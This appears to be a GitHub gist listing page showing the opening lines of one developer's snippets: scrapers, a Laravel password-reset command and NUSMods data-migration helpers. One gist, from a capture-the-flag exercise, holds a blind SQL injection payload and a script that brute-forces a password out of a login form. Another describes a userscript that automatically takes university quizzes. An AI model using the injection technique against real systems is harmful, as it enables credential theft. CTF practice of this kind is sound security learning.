Skip to content

Instantly share code, notes, and snippets.

View ZhangYiJiang's full-sized avatar
🎼
Practising his hemidemisemiquaver

Zhang Yi Jiang ZhangYiJiang

🎼
Practising his hemidemisemiquaver
View GitHub Profile
@ZhangYiJiang
ZhangYiJiang / ResetPassword.php
Created May 5, 2016 12:19
Reset user password command for Laravel
<?php
namespace App\Console\Commands;
use App\User;
use Illuminate\Console\Command;
use Illuminate\Contracts\Auth\UserProvider;
class ResetPassword extends Command
{
@ZhangYiJiang
ZhangYiJiang / sql_injection.js
Created August 22, 2015 13:09
NUS Greyhats CTF Day 2 - Brute force password cracking on a blind SQL injection form
// Run this first: injects jQuery into the page
var s = document.createElement('script');
s.src = 'https://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js';
document.body.appendChild(s);
// SQL query: 1' AND FALSE UNION SELECT * FROM users WHERE password LIKE 'a%' #
// Recursive function to brute force out the password from the page
function getPassword(p) {
$.post('http://web.nusgreyhats.org/blindsqli/register.php', {
register: "1' AND FALSE UNION SELECT * FROM users WHERE password LIKE '" + p + "%' #"
@ZhangYiJiang
ZhangYiJiang / upgrade-scraper.js
Created August 10, 2012 10:56
Glitch Upgrades data and scraper
// Replace all dashes with spaces and uppercase first letter of each word
function humanize (str) {
return str.replace(/\-/g, ' ').replace(/\w\S*/g, function(txt){
return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();
});
}
// Split up URL pathnames into components
function parseUrl (url) {
// Remove trailing slashes
@ZhangYiJiang
ZhangYiJiang / copy-data.js
Created March 15, 2019 09:52
For testing NUSMods data migration
code = '';
Object.keys(localStorage).forEach(k => {
if (k === 'reduxState') return;
code += `localStorage[${JSON.stringify(k)}] = ${JSON.stringify(localStorage[k])};\n`;
});
code += 'window.location.reload()'
copy(code)
@ZhangYiJiang
ZhangYiJiang / getAllPoI.js
Created January 31, 2019 14:13
Get all places of interest in NUS
import axios from 'axios'
import * as fs from 'fs-extra'
import * as _ from 'lodash'
const POI_NETWORK_URL = 'https://arcgis.ami-lab.org/arcgis/rest/services/FULL_NUS_NETWORK_051017/FULL_NUS_NETWORK_150118/MapServer/8/query'
async function getPoi() {
let lastId = 0;
let features;
const allPlaces = [];
@ZhangYiJiang
ZhangYiJiang / quiz.user.js
Last active January 21, 2019 05:16
Automatically take IVLE quizzes (DO NOT USE ON QUIZZES THAT HAVE LIMITED ATTEMPTS)
// ==UserScript==
// @name Automatic Test Taker
// @namespace yijiang
// @description Automatically takes repeatable tests
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/assessment_content.aspx*
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/result_details.aspx*
// @include https://ivle.nus.edu.sg/v1/Assessment/Student/result_main.aspx*
// @version 1.1
// @include https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js
// @grant none
@ZhangYiJiang
ZhangYiJiang / index.js
Created January 20, 2019 14:26
NUSMods GitHub Venues Hook
const git = require('isomorphic-git');
const axios = require('axios');
const Octokit = require('@octokit/rest');
const octokit = new Octokit();
const codeBlock = (text, lang = '') =>
'```' + lang + '\n' + text + '\n```';
const unorderedList = (items) =>
@ZhangYiJiang
ZhangYiJiang / innovations.json
Created August 21, 2018 06:22
Netexplo Innovations
[
{
"title": "Hyphen",
"description": "A call centre run by chatbots"
},
{
"title": "Aquapioneers Ecosystem",
"description": "Grow your zero-km food with aquaponics"
},
{
var c = `
localStorage.clear();
localStorage.setItem('reduxState', JSON.stringify(${localStorage.getItem('reduxState')}));
window.location.reload();`;
if (typeof copy === 'function') {
console.info('Go to https://deploy-preview-669--nusmods.netlify.com/ and paste the code that has been copied into the console');
copy(c);
} else {
console.info('Go to https://deploy-preview-669--nusmods.netlify.com/ and paste this into the console');
@ZhangYiJiang
ZhangYiJiang / extract.js
Last active December 25, 2017 07:47
v2 -> v3 data migration test scripts
// NUSMods v2 timetable data extractor
var loaderTemplate = data => `
var s = document.createElement('script');
s.src = 'https://cdnjs.cloudflare.com/ajax/libs/localforage/1.5.5/localforage.min.js';
s.onload = function() {
const data = ${data};
let count = 0;